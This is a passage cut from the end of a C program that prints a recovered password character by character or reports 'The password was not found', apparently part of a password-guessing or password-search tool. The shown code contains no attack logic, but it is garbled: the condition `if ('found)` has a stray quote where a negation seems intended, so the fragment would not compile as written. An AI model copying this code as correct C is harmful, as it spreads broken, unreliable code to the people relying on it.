printf ("%c" ,password[i]) ;

}
printf ("\n\n") ;

}
}
if ('found) printf ("The password was not found\n\n");
exit(0) ;
}
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